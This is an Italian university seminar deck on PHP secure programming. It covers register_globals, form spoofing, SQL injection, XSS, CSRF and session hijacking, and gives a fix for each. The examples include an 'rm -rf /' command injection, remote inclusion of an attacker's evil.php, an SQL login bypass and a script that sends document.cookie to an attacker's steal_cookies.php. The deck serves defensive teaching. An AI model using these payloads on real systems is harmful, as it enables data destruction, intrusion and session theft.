PHP Secure Programming
|
|
- Taddeo Monaco
- 8 anni fa
- Visualizzazioni
Transcript
1 PHP Secure Programming Seminario sviluppato nell'ambito del corso di Sicurezza, Dipartimento di Informatica e Scienze dell'informazione (DISI), Genova Autore: Matteo Greco <2001s036@educ.disi.unige.it>
2 Sommario Scopo del seminario è esporre alcune delle più note tecniche per manipolare in modo imprevisto i dati gestiti da una applicazione web scritta in PHP In tutto questo, bisogna tener presente che la sicurezza di una Applicazione Web: Deve essere parte del suo progetto Deve essere proporzionata al suo costo Deve essere proporzionata alla sua usabilitá
3 Da cosa dobbiamo difenderci? Gli attacchi trattati sono: Input/Output Inaspettato: Problemi con register_globals=on Form Submission Spoofing SQL Injection Cross Site Scripting (attacco all'output) Cross Site Request Forgeries Session Hijacking
4 Input Inaspettato Le Applicazioni Web sono semplicemente interfacce grafiche verso funzionalità Il loro scopo è prendere Input dall'utente: A basso livello, sono tutte richieste HTTP Più ad alto livello, l'utente interagisce in genere con mouse e tastiera (un tipico errore è credere che i link e la struttura dei form impediscano all'utente di fornirci Input Inaspettato) Affinché una Applicazione Web sia sicura è necessario (e non sufficiente) filtrare correttamente i dati in input
5 Input Inaspettato: filtrare i dati Cosa e come filtrare? Il numero di dati in input Per ogni dato, il suo tipo (attenzione: PHP tratta tutti i dati provenienti da form come stringhe; usare intval(), floatval(), strval() oppure il casting) Per ogni dato, la sua forma (esempio, le login del DISI sono della forma NNNNsNNN, dove N è una cifra); sono utili a questo scopo le espressioni regolari (vedere eregi() o preg_match()) Per ogni dato, il range di valori accettabili
6 Input Inaspettato: register_globals Direttiva del file di configurazione di PHP (php.ini) Se impostata ad on, le variabili provenienti da richieste GET, POST e da COOKIE, normalmente memorizzate da PHP in array associativi separati, possono sovrascrivere variabili locali che portino lo stesso nome (es.: $_GET['test'] -> $test), se queste non vengono esplicitamente inizializzate Questo può portare l'applicazione a considerare fidato un dato sovrascritto dall'esterno
7 Input Inaspettato: register_globals: esempio <?php if ( authorized_user() ) { $authorized = true; } // altro codice dove non viene modificata $authorized if ( $authorized ) { require '/highly/sensitive/data.php'; } $authorized non viene esplicitamente inizializzata; se authorized_user() == false, $authorized non ha valore. Con register_globals=on, si può oltrepassare il controllo richiamando lo script in questo modo: A seconda dello scenario, si possono causare vari tipi di danno (alcuni dei quali, presentati nelle prossime slide)
8 Input Inaspettato: register_globals: Command Injection Un altro scenario in cui un errato controllo dell'input e la presenza di register_globals=on possono portare a conseguenze inaspettate In questo caso, l'attaccante tenta di iniettare comandi shell if( $cond1 ) { $command = 'ls'; $args = ' -l'; } else if ( $cond2 ) { $command = 'ps'; $args = ' aux'; } system( $command $args ); Si può eseguire il comando 'rm -rf /' così: Funzioni utili: escapeshellcmd(), escapeshellarg()
9 Input Inaspettato: register_globals: Code Injection Uno scenario in cui l'attaccante cerca di far eseguire codice PHP arbitrario, includendolo dall'esterno <?php include( $path/include_me.php );?> Se l'attaccante richiama lo script in questo modo: PHP eseguirà questa istruzione: include( ); La richiesta non mostrerà il codice PHP di evil.php, ma l'attaccante può mostrarlo volontariamente con show_source()
10 Input Inaspettato: register_globals: soluzioni Disabilitare register_globals (opzione di default da PHP in poi); non sempre è possibile, a causa di applicazioni che smetterebbero di funzionare correttamente Inizializzare sempre esplicitamente le variabili (l'uso di error_reporting(e_all); lo facilita) Distinguere le fonti di dato con $_GET[], $_POST[] e $_COOKIE[] Filtrare i dati come suggerito in precedenza
11 Input Inaspettato: register_globals: esempio corretto <?php /* oltre ad essere una buona norma di programmazione, l'inizializzazione di questa variabile sovrascrive eventuali valori provenienti dall'esterno (GET, POST, COOKIE) */ $authorized = false; if ( authorized_user() ) { } //... $authorized = true; if ( $authorized ) { } require '/highly/sensitive/data.php';
12 Input Inaspettato: Form Submission Spoofing Quando creiamo un Form, non dobbiamo supporre che la sua struttura impedisca all'utente di presentarci Input Inaspettato. <html>... <form action= process.php method= post > <select name= color > <option value= red >Rosso</option> <option value= green >Verde</option> <option value= blue >Blu</option> </select> </form>
13 Input Inaspettato: Form Submission Spoofing Con il Form dell'esempio precedente, ci aspettiamo che $_POST['color'] valga esclusivamente 'red', 'green' o 'blue' Ma cosa accade se l'attaccante crea una sua form in cui, al posto di <select name= color > mettesse <input type= text name= color >? Cosa può fare l'attaccante se si collega con una socket alla porta 80 del web server e scrive a mano la richiesta POST? Bisogna filtrare i dati che giungono da Form
14 Input Inaspettato: Form Submission Spoofing Un esempio semplice di filtro per i dati dell'esempio precedente: <?php if ( $_POST['color'] ) { } $clean = array(); switch( $_POST['color'] ) { case 'red': case 'green': case 'blue': $clean['color'] = $_POST['color']; break; default: // errore }
15 Input Inaspettato: SQL Injection Particolare esempio di attacco di Input Inaspettato. Simile alla Command Injection, ad eccezione del fatto che inietta statement SQL piuttosto che comandi shell Molto pericoloso, perché concede all'attaccante la possibilità di eseguire statement SQL arbitrari con i privilegi dell'utente che PHP usa per collegarsi al DBMS Utilizzato spesso per ridefinire password di accesso ad Applicazioni Web
16 Input Inaspettato: SQL Injection: esempio Supponiamo di realizzare una procedura di login ad una Applicazione Web: <?php if ( $_POST['submit'] ) { $username = $_POST['username']; $password = $_POST['password']; $query = SELECT * FROM users WHERE username='$username' AND password='$password' ;... Cosa accade se fornisco come username il valore: matteo' OR 1?
17 Input Inaspettato: SQL Injection: soluzioni Come in tutti i casi di Input Inaspettato, filtrare i dati è fondamentale. In particolare: Nelle query, aggiungere i simboli di quote (') intorno a variabili che debbano contenere stringhe Effettuare l'escape dei metacaratteri SQL (come il carattere di quote), in modo che essi siano interpretati letteralmente; in questo modo, matteo' diviene matteo\', impedendo al simbolo di quote inserito dall'attaccante di chiudere la stringa ed inserire altri statement. PHP fornisce una funzione generica, addslashes() ma, se possibile, è meglio usare le funzioni specifiche del DBMS (mysql_real_escape_string() per MySQL) Usare utenti con il solo privilegio di SELECT ogni volta sia possibile (niente INSERT, UPDATE, DELETE...)
18 Input Inaspettato: SQL Injection: <?php if ( $_POST['submit'] ) { esempio corretto $username = $_POST['username']; $password = $_POST['password']; // implementare qui i filtri sui valori di $username e $password... // prima di passare $username e $password al DBMS, l'escape $username = mysql_real_escape_string($username); $password = mysql_real_escape_string($password); $query = SELECT * FROM users WHERE username='$username' AND password='$password' ;...
19 Input Inaspettato: SQL Injection: un altro esempio Supponiamo di avere una tabella: Prodotto(Nome VARCHAR(30), Quantita INT, Peso FLOAT) E di avere una form per inserire i dati: <html>... <form action= process.php method= post > <input type= text name= nome size= 30 maxlength= 30 /> <input type= text name= quantita size= 30 maxlength= 6 /> <input type= text name= peso size= 30 maxlength= 10 /> <input type= submit name= submit value= Inserisci /> </form>
20 Input Inaspettato: SQL Injection: <?php un altro esempio // non uso $clean, l'esempio e` molto semplice $nome = strval(mysql_real_escape_string($_post['nome'])); // $nome è filtrata if( $_POST['quantita']!== strval(intval($_post['quantita'])) ) { // $_POST['quantita'] non e` un numero intero } $quantita = intval($_post['quantita']); // $quantita è filtrata if( $_POST['peso']!== strval(floatval($_post['peso'])) ) { // $_POST['peso'] non e` un numero float } $peso = floatval($_post['peso']); // $peso è filtrata $query = INSERT INTO Prodotti(Nome, Quantita, Peso) ; $query.= VALUES ('$nome', $quantita, $peso) ;?>
21 Cross Site Scripting Sono vulnerabili a questo attacco tutte le applicazioni che riscrivono in output dati presi in input dall'utente, che possono contenere anche codice HTML Sebbene fare scrivere HTML possa non essere male (tag <p>, <strong>, <em>...), in alcuni casi può permettere esecuzione di codice arbitrario (<script>, <object>, <applet>) Questi attacchi sfruttano la fiducia che l'utente ripone nell'applicazione web
22 Cross Site Scripting: esempio <?php // supponendo che $_POST['message'] arrivi da un form if( isset($_post['message']) ) { } $fp = fopen('./messages.txt', 'a'); fwrite($fp, $_POST['message']. '<br />'); fclose($fp); readfile('./messages.txt');?> Non c'è alcun controllo sul contenuto di $_POST['message']
23 Cross Site Scripting: esempio Se $_POST['message'] contiene codice HTML, questo verrà mostrato; questo rende possibile l'esecuzione di codice JavaScript o altro, come ad esempio: <script type= text/javascript > document.location=' ocument.cookie </script> steal_cookies.php può essere uno script che riceve document.cookie (ovvero, l'insieme dei cookie che il browser ha mandato al server attaccato), e li usa come vuole
24 Cross Site Scripting: soluzioni Come al solito, filtrare bene l'input evita molte complicazioni Sui dati di output, si possono: Sostituire tutte le entità HTML (vedere htmlentities()) Sostituire tutti o parte dei tag HTML (vedere strip_tags()) Alcuni attacchi fanno uso della codifica utf8; si possono evitare utilizzando utf8_decode()
25 Cross Site Scripting: esempio corretto <?php // supponendo che $_POST['message'] arrivi da un form if( isset($_post['message']) ) { // con questo, anche i caratteri < ed > verranno sostituiti // $message = htmlentities($_post['message']); // con questo, vengono sostituiti i tag esclusi p, em, strong $message = strip_tags($_post['message'], <p><em><strong> ); $fp = fopen('./messages.txt', 'a'); fwrite($fp, $_POST['message']. '<br />'); fclose($fp); } readfile('./messages.txt');?>
26 Cross Site Request Forgeries Si tratta di un attacco che sfrutta la fiducia che l'applicazione ripone nell'identità dell'utente L'attaccante costringe la vittima ad effettuare richieste HTTP di cui non è consapevole verso applicazioni vulnerabili al CSRF Le applicazioni one-click (che permettono di accedere a determinate funzionalità senza richiedere conferme) sono generalmente vulnerabili
27 Cross Site Request Forgeries: esempi Supponiamo che l'attaccante convinca la vittima a visitare una pagina che, in un certo punto, contiene: <img src= /> Il browser della vittima farà una richiesta HTTP GET verso l'url scritta nell'attributo src del tag img; ovviamente, non verrà mostrata alcuna immagine Se lo script buy.php è vulnerabile al CSRF, la vittima acquisterà a sua insaputa 100 pezzi del prodotto con id=82 Lo script è vulnerabile se, magari vedendo che l'utente è loggato, non domanda ulteriore conferma prima di procedere con l'acquisto
28 Cross Site Request Forgeries: soluzioni Contrariamente agli attacchi menzionati precedentemente, in questo caso la soluzione non consiste nel filtrare i dati in input Meglio evitare i sistemi one-click (esempio: carrello degli acquisti piuttosto che concludere l'acquisto direttamente) Inoltre, prelevare i dati importanti via POST anziché GET (visto che il browser, nel caso mostrato prima, effettua una richiesta GET), e prelevare da $_POST[] esplicitamente
29 Session Hijacking Le sessioni sono una funzionalità introdotta per ovviare al fatto che il protocollo HTTP è stateless Le sessioni si basano sul principio di poter determinare univocamente i client che si connettono al server, associando loro un identificatore (il session_id) Tale session_id viene trasmesso via Cookie ma, poiché i Cookie possono essere disabilitati, esso può essere propagato via GET. In tal caso, PHP può auto trasmettere il session_id, se la direttiva session.use_trans_sid è attiva
30 Session Hijacking Un attaccante può far credere al server di essere un altra persona, impadronendosi del session_id di tale persona: Indovinandolo (molto difficile, il session_id è casuale) Sniffandolo (abbastanza difficile, richiede un attacco Man In The Middle, oppure sfruttare bug dei browser, come il bug inerente la trasmissione dei Cookie (tra cui il session_id, eventualmente) di Internet Explorer) Tramite fixation (vedi prossima slide)
31 Session Hijacking: session fixation L'attaccante decide il session_id della vittima L'attaccante convince la vittima a visitare il sito sul quale vuole farsi credere la vittima, aggiungendo alla richiesta GET il parametro PHPSESSID= session_id deciso dall'attaccante (imposta il session_id della vittima sul sito in questione) L'attaccante visita la stessa URL, con lo stesso session_id Poiché il session_id è lo stesso, PHP non distinguerà l'attaccante e la vittima
32 Session Hijacking: soluzioni Attacco da cui non è facile difendersi Un primo tentativo (più security through obscurity che altro) consiste nell'identificare i client con PHPSESSID più altre informazioni adatte allo scopo (qualcuno suggerisce User- Agent); naturalmente, queste informazioni sono fornite dal client, e dunque completamente falsificabili Meglio, si può rigenerare il session_id ogni volta che si cambia livello di privilegio nell'applicazione (esempio: dopo il login)
33 Session Hijacking: esempio corretto Supponiamo di realizzare un sistema di login che riceve dati da questo form: <html>... <form action= process.php method= post > <input type= text name= username /> <input type= password name= password /> <input type= submit name= submit value= Login /> </form>... </html>
34 Session Hijacking: esempio corretto Con un attacco di tipo fixation, l'attaccante può convincere la vittima a loggarsi a: In questo modo, PHP utilizzerà come session_id, non rigenerandolo quando session_start() viene chiamata; allora, lo rigeneriamo noi, non appena l'utente è stato autenticato: <?php session_start(); // suppongo di avere valid_login(), che controlla le credenziali if( valid_login($_post['username'], $_POST['password']) ) { } $_SESSION = array(); // svuoto la sessione corrente session_regenerate_id(); // fai qualcosa per l'utente loggato, come mostrare un menù
35 Bibliografia Molto materiale è stato tratto da:
19. LA PROGRAMMAZIONE LATO SERVER
19. LA PROGRAMMAZIONE LATO SERVER Introduciamo uno pseudocodice lato server che chiameremo Pserv che utilizzeremo come al solito per introdurre le problematiche da affrontare, indipendentemente dagli specifici
DettagliIndice register_globals escaping
1 Indice La sicurezza delle applicazioni web Le vulnerabilità delle applicazioni web La sicurezza in PHP: La direttiva register_globals Filtrare l'input Filtrare l'output (escaping) SQL Injection Cross
Dettagli--- PREMESSE INTRODUZIONE. .:luxx:.
SQL INJECTION --- SICUREZZA.:luxx:. PREMESSE Questa guida accenna ad alcuni metodi di SQL injection e si sofferma sulla prevenzione di tali attacchi, per comprendere al meglio il testo è necessaria una
DettagliLaboratorio Progettazione Web PHP e FORMs HTML. Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2013/2014
Laboratorio Progettazione Web PHP e FORMs HTML Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2013/2014 Struttura Applicazioni Web Browser Web HTTP Server Web API Dati Presentation Application Storage
DettagliCorso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web
Corso di PHP 6.1 PHP e il web 1 1 Prerequisiti Conoscenza HTML Tecnica della programmazione Principi di programmazione web 2 1 Introduzione In questa Unità illustriamo alcuni strumenti di programmazione
Dettagli[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection
---------------------------------------------------------------------..... _/ / _ / / \ \/ / / / / \ / \ \ \ / /_/ \ /\ / \ \ \ / /_/ > Y \ \ \ >\_/ / > / \ / / \/ \/ \/ \/ / / \/ ---------------------------------------------------------------------
DettagliProgrammazione Web. Laboratorio 4: PHP e MySQL
Programmazione Web Laboratorio 4: PHP e MySQL Lavagna elettronica (I) Un unità aziendale di decision making opera per le decisioni di tipo consueto e ripetitivo tramite la procedura seguente: un qualsiasi
DettagliLezione 6: Form 27/04/2012
Lezione 6: Form In alcuni documenti HTML può essere utile creare dei moduli (form) che possono essere riempiti da chi consulta le pagine stesse (es. per registrarsi ad un sito). Le informazioni sono poi
Dettagli1) Il client(browser utilizzato) invia al server i dati inseriti dall utente. Server
2) Il Server richiama l'interprete PHP il quale esegue i comandi contenuti nel file.php specificato nell'attributo action del tag form creando un file HTML sulla base dei dati inviati dall utente 1) Il
DettagliMODULO 1 PARTE 3. Programmazione (scripting) server-side con PHP 3.c Cookies e sessioni. Goy - a.a. 2012/2013 Programmazione Web 1
MODULO 1 PARTE 3 Programmazione (scripting) server-side con PHP 3.c Cookies e sessioni Goy - a.a. 2012/2013 Programmazione Web 1 Cookie - I Cookie = variabili che il server salva (*) sul client come file
DettagliCorso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database
Corso di Informatica Modulo T3 B3 Programmazione lato server 1 Prerequisiti Architettura client/server Conoscenze generali sui database 2 1 Introduzione Lo scopo di questa Unità è descrivere gli strumenti
DettagliSiti interattivi e dinamici. in poche pagine
Siti interattivi e dinamici in poche pagine 1 Siti Web interattivi Pagine Web codificate esclusivamente per mezzo dell HTML non permettono alcun tipo di interazione con l utente, se non quella rappresentata
DettagliEsercizi di JavaScript
Esercizi di JavaScript JavaScript JavaScript é un linguaggio di programmazione interpretato e leggero, creato dalla Netscape. E' presente a patire da Netscape 2 in tutti i browser ed é dunque il linguaggio
DettagliDATABASE IN RETE E PROGRAMMAZIONE LATO SERVER
DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER L architettura CLIENT SERVER è l architettura standard dei sistemi di rete, dove i computer detti SERVER forniscono servizi, e computer detti CLIENT, richiedono
DettagliSicurezza Informatica: Tecniche di SQL INJECTION
Sicurezza Informatica: Tecniche di SQL INJECTION Pietro Bongli Aprile 2004 N.B. L'informazione contenuta in queste pagine è divulgata per scopi puramente didattici e non per ni illegali. Structured Query
DettagliAttacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)
UNIVERSITÀ DEGLI STUDI DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica Tesina di Sicurezza nei Sistemi informativi Simona Ullo Attacchi alle applicazioni web: SQL
Dettagli<?php include './include/page.php';
Il modulo di inserimento Per creare il modulo di inserimento creeremo due file per semplicità: insert.php sarà il file contenente il form dove inserire i dati. Premendo infine il pulsante inserisci si
DettagliLegenda: Vengono riportate qui brevi descrizioni di alcuni dei più noti e comuni tipi di vulnerabilità,in base al loro grado di pericolosità.
Legenda: Vengono riportate qui brevi descrizioni di alcuni dei più noti e comuni tipi di vulnerabilità,in base al loro grado di pericolosità. Livello di Pericolosità 3: Login Cracking: Il cracking è il
DettagliCorso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti
Corso di Sicurezza Informatica Sicurezza del software Ing. Gianluca Caminiti SQL Injection Sommario Premessa sul funzionamento dei siti dinamici SQL Injection: Overview Scenari di attacco: Errata gestione
DettagliNelle reti di calcolatori, le porte (traduzione impropria del termine. port inglese, che in realtà significa porto) sono lo strumento
I protocolli del livello di applicazione Porte Nelle reti di calcolatori, le porte (traduzione impropria del termine port inglese, che in realtà significa porto) sono lo strumento utilizzato per permettere
DettagliRELAZIONE PROGETTO DATABASE GESTIONE BIBLIOTECA PERSONALE
RELAZIONE PROGETTO DATABASE GESTIONE BIBLIOTECA PERSONALE Mameli Salvatore-M01/000153 SOMMARIO 1 INTRODUZIONE 1.1 Project Overview 1.2 Ambiente del prodotto 1.3 Document Overview 2 - PROGETTAZIONE 2.1
DettagliWeb Programming Specifiche dei progetti
Web Programming Specifiche dei progetti Paolo Milazzo Anno Accademico 2010/2011 Argomenti trattati nel corso Nel corso di Web Programming sono state descritti i seguenti linguaggi (e tecnologie): HTML
DettagliRELAZIONE TECNICA GESTIONE CARTE DI CREDITO. a cura di EMANUELE CESARI
RELAZIONE TECNICA GESTIONE CARTE DI CREDITO a cura di EMANUELE CESARI 1 INDICE ARGOMENTO: PAGINA 1. Traccia del problema 3 2. Analisi di massima e spiegazione 4-11 3. Modello Er 12 4. Scema Relazionale
DettagliCookie. Krishna Tateneni Jost Schenck Traduzione: Luciano Montanaro
Krishna Tateneni Jost Schenck Traduzione: Luciano Montanaro 2 Indice 1 Cookie 4 1.1 Politica............................................ 4 1.2 Gestione........................................... 5 3 1
DettagliLA GESTIONE DELLE VISITE CLIENTI VIA WEB
LA GESTIONE DELLE VISITE CLIENTI VIA WEB L applicazione realizzata ha lo scopo di consentire agli agenti l inserimento via web dei dati relativi alle visite effettuate alla clientela. I requisiti informatici
DettagliBibliografia: Utenti e sessioni
Bibliografia: Utenti e sessioni http: protocollo stateless http si appoggia su una connessione tcp e lo scambio nel contesto di una connessione si limita a invio della richiesta, ricezione della risposta.
Dettagli1. RETI INFORMATICHE CORSO DI LAUREA IN INGEGNERIA INFORMATICA SPECIFICHE DI PROGETTO A.A. 2013/2014. 1.1 Lato client
RETI INFORMATICHE - SPECIFICHE DI PROGETTO A.A. 2013/2014 1. RETI INFORMATICHE CORSO DI LAUREA IN INGEGNERIA INFORMATICA SPECIFICHE DI PROGETTO A.A. 2013/2014 Il progetto consiste nello sviluppo di un
DettagliWHITE PAPER Per Sql-Injection si intendono comunemente tutti quegli attacchi ad un'applicazione, solitamente Web, in cui il programma esegue query su di un database SQL utilizzando variabili passate dall'utente
Dettagli04/05/2011. Lezione 6: Form
Lezione 6: Form In alcuni documenti HTML può essere utile creare dei moduli (form) che possono essere riempiti da chi consulta le pagine stesse (es. per registrarsi ad un sito). Le informazioni sono poi
DettagliMySQL Database Management System
MySQL Database Management System http://www.mysql.com/ DATABASE RELAZIONALI Un database è una collezione strutturata di informazioni. I database sono delle strutture nelle quali è possibile memorizzare
DettagliPresentazione Data Base
Presentazione Data Base Ovvero: il paradigma LAPM (Linux - Apache - PHP - mysql) come supporto Open Source ad un piccolo progetto di Data Base relazionale, e tipicamente ad ogni applicazione non troppo
DettagliI FORM. L'attributo action contiene l'url del file php a cui devono essere inviati i file per essere elaborati.
I FORM Che cosa sono e che caratteristiche hanno Un form contiene molti oggetti che permettono di inserire dati usando la tastiera. Tali dati verranno poi inviati alla pagina php che avrà il compito di
DettagliPOLICY COOKIE Gentile visitatore,
POLICY COOKIE Gentile visitatore, GGS S.r.l. quale titolare del trattamento dei dati, desidera fornirle alcune informazioni sui cookies gestiti accedendo all indirizzo www.noly.it nel rispetto della Direttiva
DettagliIl linguaggio HTML - Parte 3
Corso IFTS Informatica, Modulo 3 Progettazione pagine web statiche (50 ore) Il linguaggio HTML - Parte 3 Dott. Chiara Braghin braghin@dti.unimi.it Addenda Vedi tabella caratteri speciali Vedi file caratteri_speciali.html
DettagliInstallazione & Configurazione Php e MySQL su Mac Os X. Php
Installazione & Configurazione Php e MySQL su Mac Os X Php PHP è un linguaggio di scripting interpretato, con licenza Open Source, originariamente concepito per la realizzazione di pagine web dinamiche.
DettagliDefinire all'interno del codice un vettore di interi di dimensione DIM, es. int array[] = {1, 5, 2, 4, 8, 1, 1, 9, 11, 4, 12};
ESERCIZI 2 LABORATORIO Problema 1 Definire all'interno del codice un vettore di interi di dimensione DIM, es. int array[] = {1, 5, 2, 4, 8, 1, 1, 9, 11, 4, 12}; Chiede all'utente un numero e, tramite ricerca
DettagliIl client deve stampare tutti gli eventuali errori che si possono verificare durante l esecuzione.
RETI INFORMATICHE CORSO DI LAUREA IN INGEGNERIA INFORMATICA SPECIFICHE DI PROGETTO A.A. 2010/2011 Il progetto consiste nello sviluppo di un applicazione client/server. Sia il server che il client dovranno
DettagliLA COOKIE POLICY DI QUESTO SITO
LA COOKIE POLICY DI QUESTO SITO Questa Cookie Policy ha lo scopo di rendere note le procedure seguite per la raccolta, tramite i cookie e/o altre tecnologie di monitoraggio, delle informazioni fornite
DettagliProgettazione Web Applicazioni client-server
Progettazione Web Applicazioni client-server Sviluppo di un'applicazione Web integrando: HTML MySQL PHP Apache Applicativi utilizzabili: gestione database: JDER, MySQL Workbench, HeidiSQL (Win), DBeaver
DettagliUniversità degli Studi di Napoli Parthenope Facoltà di Scienze e Tecnologie Corso di Laurea in Informatica Generale
Università degli Studi di Napoli Parthenope Facoltà di Scienze e Tecnologie Corso di Laurea in Informatica Generale Progetto realizzato per l esame di Tecnologie Web Prof.:Raffaele Montella Studente: Vitiello
DettagliCOOKIES COSA SONO I COOKIES? COME UTILIZZIAMO I COOKIES?
COOKIES Per far funzionare bene questo sito, a volte installiamo sul tuo dispositivo dei piccoli file di dati che si chiamano cookies. Anche la maggior parte dei grandi siti fanno lo stesso. COSA SONO
DettagliWeb Programming. Lezione 4: Cookie e Sessioni. Giulio Rossetti 14/04/2011. Guru@Work
Web Programming Lezione 4: Cookie e Sessioni Giulio Rossetti Guru@Work 14/04/2011 Contatti Materiale Tutto il materiale del corso sarà reso disponibile sul sito: www.guruatwork.com (e su blog.giuliorossetti.net)
DettagliIl Protocollo HTTP e la programmazione di estensioni Web
Il Protocollo HTTP e la programmazione di estensioni Web 1 Il protocollo HTTP È il protocollo standard inizialmente ramite il quale i server Web rispondono alle richieste dei client (prevalentemente browser);
Dettagli12 - Introduzione alla Programmazione Orientata agli Oggetti (Object Oriented Programming OOP)
12 - Introduzione alla Programmazione Orientata agli Oggetti (Object Oriented Programming OOP) Programmazione e analisi di dati Modulo A: Programmazione in Java Paolo Milazzo Dipartimento di Informatica,
DettagliIntegrazione CRM- Remedy e CTI
Integrazione CRM- Remedy e CTI Sommario Introduzione 3 Descrizione Integrazione con Remedy User 4 Attivazione Barra Telefonica 4 Esecuzione Screen Popup 4 Descrizione Integrazione con client WEB 6 Login
DettagliCookie e Webstorage. Vediamo ora i metodi dell oggetto localstorage. Per memorizzare un valore si utilizza il metodo setitem:
Cookie e Webstorage Un cookie (letteralmente biscotto) è un pacchetto di informazioni che viene salvato sul computer dell utente. In successive sessioni di collegamento a Internet (normalmente per un periodo
Dettaglipenetration test (ipotesi di sviluppo)
penetration test (ipotesi di sviluppo) 1 Oggetto... 3 2 Premesse... 3 3 Attività svolte durante l analisi... 3 3.1 Ricerca delle vulnerabilità nei sistemi... 4 3.2 Ricerca delle vulnerabilità nelle applicazioni
DettagliDott.ssa Maria Vittoria Avolio. Dott.ssa Adriana Pietramala
Corso di Informatica Laurea Triennale - Comunicazione&Dams Dott.ssa Maria Vittoria Avolio avoliomv@unical.it Dott.ssa Adriana Pietramala a.pietramala@unical.it Riferimenti Manuale PHP http://www.php.net/download-docs.php
Dettagli2.5. L'indirizzo IP identifica il computer di origine, il numero di porta invece identifica il processo di origine.
ESERCIZIARIO Risposte ai quesiti: 2.1 Non sono necessarie modifiche. Il nuovo protocollo utilizzerà i servizi forniti da uno dei protocolli di livello trasporto. 2.2 Il server deve essere sempre in esecuzione
DettagliLezione III: Oggetti ASP e interazione tramite form HTML
Lezione III: Oggetti ASP e interazione tramite form HTML La terza lezione, come le precedenti, ha avuto una durata di due ore, di cui una in aula e l altra in laboratorio, si è tenuta alla presenza della
DettagliTeamPortal. Servizi integrati con ambienti Gestionali
TeamPortal Servizi integrati con ambienti Gestionali 12/2013 Accesso da remoto Accesso da remoto Esempio 1 Sul Firewall devono essere aperte le porte 80 : http (o quella assegnata in fase di installazione/configurazione
DettagliBASI DI DATI http://www.diee.unica.it/~giacinto/bd. Cos è il PHP. Cos è il PHP. Esercitazione su PHP & MySQL
Università degli Studi di Cagliari Corso di Laurea in Ingegneria Elettronica Contatti BASI DI DATI http://www.diee.unica.it/~giacinto/bd Esercitazione su PHP & MySQL! Roberto Tronci! e-mail: roberto.tronci@diee.unica.it!
DettagliArchitettura MVC-2: i JavaBeans
Siti web centrati sui dati Architettura MVC-2: i JavaBeans Alberto Belussi anno accademico 2008/2009 Limiti dell approccio SEVLET UNICA La servlet svolge tre tipi di funzioni distinte: Interazione con
DettagliSiti web centrati sui dati Architettura MVC-2: i JavaBeans
Siti web centrati sui dati Architettura MVC-2: i JavaBeans 1 ALBERTO BELUSSI ANNO ACCADEMICO 2009/2010 Limiti dell approccio SEVLET UNICA La servlet svolge tre tipi di funzioni distinte: Interazione con
DettagliLaboratorio Progettazione Web PHP e MySQL - Lezione 9. Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2012/2013
Laboratorio Progettazione Web PHP e MySQL - Lezione 9 Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2012/2013 Architettura di una applicazione Web Browser Web HTTP Server Web API Dati Presentation
DettagliSOSEBI PAPERMAP2 MODULO WEB MANUALE DELL UTENTE
SOSEBI PAPERMAP2 MODULO WEB MANUALE DELL UTENTE S O. S E. B I. P R O D O T T I E S E R V I Z I P E R I B E N I C U L T U R A L I So.Se.Bi. s.r.l. - via dell Artigianato, 9-09122 Cagliari Tel. 070 / 2110311
DettagliSMS API. Documentazione Tecnica YouSMS HTTP API. YouSMS Evet Limited 2015 http://www.yousms.it
SMS API Documentazione Tecnica YouSMS HTTP API YouSMS Evet Limited 2015 http://www.yousms.it INDICE DEI CONTENUTI Introduzione... 2 Autenticazione & Sicurezza... 2 Username e Password... 2 Connessione
DettagliEsercitazione 8. Basi di dati e web
Esercitazione 8 Basi di dati e web Rev. 1 Basi di dati - prof. Silvio Salza - a.a. 2014-2015 E8-1 Basi di dati e web Una modalità tipica di accesso alle basi di dati è tramite interfacce web Esiste una
DettagliImpostare il browser per navigare in sicurezza Opzioni di protezione
Impostare il browser per navigare in sicurezza Opzioni di protezione Data la crescente necessità di sicurezza e tutela dei propri dati durante la navigazione in rete, anche gli stessi browser si sono aggiornati,
DettagliFunzioni in C. Violetta Lonati
Università degli studi di Milano Dipartimento di Scienze dell Informazione Laboratorio di algoritmi e strutture dati Corso di laurea in Informatica Funzioni - in breve: Funzioni Definizione di funzioni
DettagliCreare un sito Multilingua con Joomla 1.6
Creare un sito Multilingua con Joomla 1.6 Istruzioni Vai a: navigazione, ricerca Testo originale: http://docs.joomla.org/language_switcher_tutorial_for_joomla_1.6 Questa guida è valida sia per Joomla 1.6
DettagliRIFERIMENTI ATTORI GLOSSARIO. ERRORI COMUNI REV. REQUISITI INGEGNERIA DEL SOFTWARE Università degli Studi di Padova
RIFERIMENTI ERRORI COMUNI REV. REQUISITI INGEGNERIA DEL SOFTWARE Università degli Studi di Padova Dipartimento di Matematica Corso di Laurea in Informatica, A.A. 2014 2015 I riferimenti devono essere precisi
DettagliSITI-Reports. Progetto SITI. Manuale Utente. SITI-Reports. ABACO S.r.l.
Progetto SITI Manuale Utente SITI-Reports ABACO S.r.l. ABACO S.r.l. C.so Umberto, 43 46100 Mantova (Italy) Tel +39 376 222181 Fax +39 376 222182 www.abacogroup.eu e-mail : info@abacogroup.eu 02/03/2010
DettagliHTML HTML. HyperText Markup Language. Struttura di un documento. Gli elementi essenziali di un documento HTML sono i seguenti TAG: <HTML>...
HTML HyperText Markup Language Struttura di un documento HTML Gli elementi essenziali di un documento HTML sono i seguenti TAG: ... ... ... Struttura di un documento
DettagliObiettivo dell esercitazione
Database e Web - Esercitazioni ASP - Andrea Proli proliand@csr.unibo.it Laboratorio di Basi di Dati A.A. 2005/2006 Obiettivo dell esercitazione L obiettivo finale dell esercitazione è quello di creare
DettagliUna metodologia di progettazione di applicazioni web centrate sui dati
Una metodologia di progettazione di applicazioni web centrate sui dati A L B E R T O B E L U S S I A N N O A C C A D E M I C O 2 0 1 1 / 2 0 1 2 Progettazione logica di un sito web centrato sui dati Si
DettagliBasi di dati. Il Linguaggio SQL. K. Donno - Il Linguaggio SQL
